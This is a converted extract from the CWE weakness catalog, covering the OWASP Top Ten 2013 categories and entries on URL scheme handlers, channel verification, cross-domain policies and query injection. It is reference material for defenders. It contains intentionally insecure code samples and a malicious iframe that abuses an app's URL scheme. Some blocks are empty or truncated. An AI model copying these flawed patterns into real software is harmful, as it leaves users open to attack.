<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>699  502</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000 1037</td>
</tr>
</tbody>
</table>

References
[REF-35] Erika Chin, Adrienne Porter Felt, Kate Greenwood and David Wagner. "Analyzing Inter-
Application Communication in Android". 3.2.1. <http://www.eecs.berkeley.edu/~daw/papers/
intents-mobisys11.pdf >.
developer.android.com/training/articles/security-tips.html#ContentProviders >.

Maintenance Notes
This entry will be made more comprehensive in later CWE versions.
Software Customers
This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators
Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>931</td>
<td>OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>932</td>
<td>OWASP Top Ten 2013 Category A4 - Insecure Direct Object References</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>933</td>
<td>OWASP Top Ten 2013 Category A5 - Security Misconfiguration</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>935</td>
<td>OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>936</td>
<td>OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>937</td>
<td>OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities</td>
<td>928</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>938</td>
<td>OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards</td>
<td>928</td>
</tr>
</tbody>
</table>

Relationship Notes
The relationships in this view are a direct extraction of the CWE mappings that are in the 2013 OWASP document. CWE has changed since the release of that document.

References

CWE-929: OWASP Top Ten 2013 Category A1 - Injection

Category ID: 929 (Category) Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>88</td>
<td>Argument Injection or Modification</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>928</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>928</td>
</tr>
</tbody>
</table>

References
CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management

Category ID: 930 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>256</td>
<td>Plaintext Storage of a Password</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>319</td>
<td>Cleartext Transmission of Sensitive Information</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>384</td>
<td>Session Fixation</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>523</td>
<td>Unprotected Transport of Credentials</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>620</td>
<td>Unverified Password Change</td>
<td>928</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
<td>928</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>928</td>
</tr>
</tbody>
</table>

References


CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)

Category ID: 931 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>928</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>928</td>
</tr>
</tbody>
</table>

References


CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References

Category ID: 932 (Category)  Status: Incomplete

Description

Summary
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>928</td>
</tr>
</tbody>
</table>

References

CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration

Category ID: 933 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.

Relationships

Nature  Type  ID  Name  Page
ParentOf  E  99  Improper Control of Resource Identifiers ('Resource Injection')  928  190
ParentOf  E  639  Authorization Bypass Through User-Controlled Key  928  990
MemberOf  V  928  Weaknesses in OWASP Top Ten (2013)  928  1361

References

CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure

Category ID: 934 (Category)  Status: Incomplete

Description
Summary
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.

Relationships

Nature  Type  ID  Name  Page
ParentOf  C  310  Cryptographic Issues  928  548
ParentOf  S  311  Missing Encryption of Sensitive Data  928  549
ParentOf  S  312  Cleartext Storage of Sensitive Information  928  555
ParentOf  S  319  Cleartext Transmission of Sensitive Information  928  563
ParentOf  C  320  Key Management Errors  928  565
ParentOf  S  325  Missing Required Cryptographic Step  928  571
ParentOf  C  326  Inadequate Encryption Strength  928  573
ParentOf  S  327  Use of a Broken or Risky Cryptographic Algorithm  928  574
ParentOf  S  328  Reversible One-Way Hash  928  579
MemberOf  V  928  Weaknesses in OWASP Top Ten (2013)  928  1361

References
## CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control

**Category ID:** 935 (Category)  
**Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>285</td>
<td>Improper Authorization</td>
<td>502</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>508</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>1361</td>
</tr>
</tbody>
</table>

### References


## CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)

**Category ID:** 936 (Category)  
**Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>612</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>1361</td>
</tr>
</tbody>
</table>

### References


## CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

**Category ID:** 937 (Category)  
**Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td>1361</td>
</tr>
</tbody>
</table>

### Relationship Notes

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

### References

CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards

**Category ID:** 938 (Category)  
**Status:** Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td></td>
<td>928</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
<td></td>
<td>928</td>
</tr>
</tbody>
</table>

**References**


---

CWE-939: Improper Authorization in Handler for Custom URL Scheme

**Weakness ID:** 939 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

**Extended Description**

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

**Applicable Platforms**

**Architectural Paradigms**

- Mobile Application

**Demonstrative Examples**

**Example 1:**

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

**External Application**

**Objective-C Example:**

Good Code

```objective-c
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Bad Code

```objective-c
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
    if (!url) {
        return NO;
    }
    NSString *action = [url host];
    if([action isEqualToString: @"replaceFileText"]){
        NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
        //this function will write contents to a specified file
        FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
        }
    }
```

---

1366
The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

**HTML Example:**

```html
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

**Example 2:**

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

```java
@override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
    }else{
        return true;
    } 
}
```

**Objective-C Example:**

```objective-c
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType {
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:"exampleScheme") {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"]){
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]]; 
        }
    } 
    return NO;
}
```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

```javascript
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2013-5725</td>
<td>URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions.</td>
</tr>
</tbody>
</table>
CWE-940: Improper Verification of Source of a Communication Channel

**Description**

**Summary**

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

**Extended Description**

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

- Language-independent

**Architectural Paradigms**

- Mobile Application

**Common Consequences**

- Access Control
- Other
- Gain privileges / assume identity

**Variant by Context**

An attacker can access any functionality that is inadvertently accessible to the source.

**Demonstrative Examples**

**Example 1:**

This Android application will remove a user account when it receives an intent to do so:

**Java Example:**

```java
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

```
This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

**Example 2:**
These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

```java
// Android
@override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        } else{
            return true;
        }
    } return true;
}
```

**Objective-C Example:**

```objective-c
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType {
    NSURL *URL = [exRequest URL];
    if ([URL scheme] isEqualToString:"exampleScheme") {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"]){  
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];  
            return NO;
        }  
        return YES;
    }
}
```

A call into native code can then be initiated by passing parameters within the URL:

**Javascript Example:**

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1218</td>
<td>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</td>
</tr>
<tr>
<td>CVE-2001-1452</td>
<td>DNS server caches glue records received from non-delegated name servers</td>
</tr>
<tr>
<td>CVE-2005-0877</td>
<td>DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design
Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a man-in-the-middle attack.
When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes
While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

References

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID: 941 (Weakness Base) Status: Incomplete

Description

Summary
The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description
Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:
If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.
If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses.
For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a “sticky broadcast” to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by “any” receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Time of Introduction
• Architecture and Design
• Implementation
Applicable Platforms
Languages
- Language-independent

Architectural Paradigms
- Mobile Application

Demonstrative Examples
This code listens on a port for DNS requests and sends the result to the requesting address.

Python Example:
```python
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
data = sock.recvfrom(1024)
if not data:
    break
(requestIP, nameToResolve) = parseUDPpacket(data)
record = resolveName(nameToResolve)
sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0513</td>
<td>Classic “Smurf” attack, using spoofed ICMP packets to broadcast addresses.</td>
</tr>
<tr>
<td>CVE-1999-1379</td>
<td>DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.</td>
</tr>
<tr>
<td>CVE-2013-5211</td>
<td>composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>1000 705</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>699  1354</td>
<td></td>
</tr>
</tbody>
</table>

References

Maintenance Notes
This entry will be made more comprehensive in later CWE versions.

CWE-942: Overly Permissive Cross-domain Whitelist

<table>
<thead>
<tr>
<th>Weakness ID: 942 (Weakness Variant)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Summary
The software uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description
A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a whitelist of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made. Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.
An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a website on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. In many cases, the attack can be launched without the victim even being aware of it.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Web-based

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Access Control

**Execute unauthorized code or commands**

**Bypass protection mechanism**

**Read application data**

**Varies by context**

An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

**Demonstrative Examples**

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml:

```xml
```

Silverlight clientaccesspolicy.xml:

```xml
<?xml version="1.0" encoding="utf-8"?><access-policy><cross-domain-access><policy><allow-from http-request-headers="SOAPAction"> <domain uri="**"/> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy></cross-domain-access></access-policy>
```
These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-6243</td>
<td>Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.</td>
</tr>
<tr>
<td>CVE-2008-4822</td>
<td>Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.</td>
</tr>
<tr>
<td>CVE-2010-3636</td>
<td>Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors.</td>
</tr>
<tr>
<td>CVE-2012-2292</td>
<td>Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.</td>
</tr>
<tr>
<td>CVE-2014-2049</td>
<td>The default Flash Cross Domain policies in a product allows remote attackers to access user files.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Architecture and Design**

**Identify and Reduce Attack Surface**

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

**Operation**

**Environment Hardening**

**Identify and Reduce Attack Surface**

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>183</td>
<td>Permissive Whitelist</td>
<td>1000 352</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>284</td>
<td>Improper Access Control</td>
<td>699 500</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000 1037</td>
</tr>
</tbody>
</table>

### References


---

**CWE-943: Improper Neutralization of Special Elements in Data Query Logic**

**Weakness ID:** 943 (Weakness Class)  
**Status:** Incomplete

**Description**

**Summary**
The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

**Extended Description**

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:
- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, XPath, and "NoSQL" languages.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Access Control
- Bypass protection mechanism
- Read application data
- Modify application data
- Varies by context

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-2508</td>
<td>Injection using Documentum Query Language (DQL)</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>👌</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>113</td>
</tr>
<tr>
<td>ParentOf</td>
<td>👌</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>159</td>
</tr>
<tr>
<td>ParentOf</td>
<td>👌</td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>168</td>
</tr>
<tr>
<td>ParentOf</td>
<td>👌</td>
<td>643</td>
<td>Improper Neutralization of Data within XPath Expressions ('XPath Injection')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>👌</td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</td>
<td>1011</td>
</tr>
</tbody>
</table>

**Relationship Notes**
It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

**Maintenance Notes**
This entry will be made more comprehensive in future CWE versions.

### CWE-944: SFP Secondary Cluster: Access Management

**Category ID:** 944 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>899</td>
<td>SFP Primary Cluster: Access Control</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>282</td>
<td>Improper Ownership Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>283</td>
<td>Unverified Ownership</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>284</td>
<td>Improper Access Control</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>286</td>
<td>Incorrect User Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>O</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-945: SFP Secondary Cluster: Insecure Resource Access

**Category ID:** 945 (Category)  
**Status:** Incomplete

**Description**

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
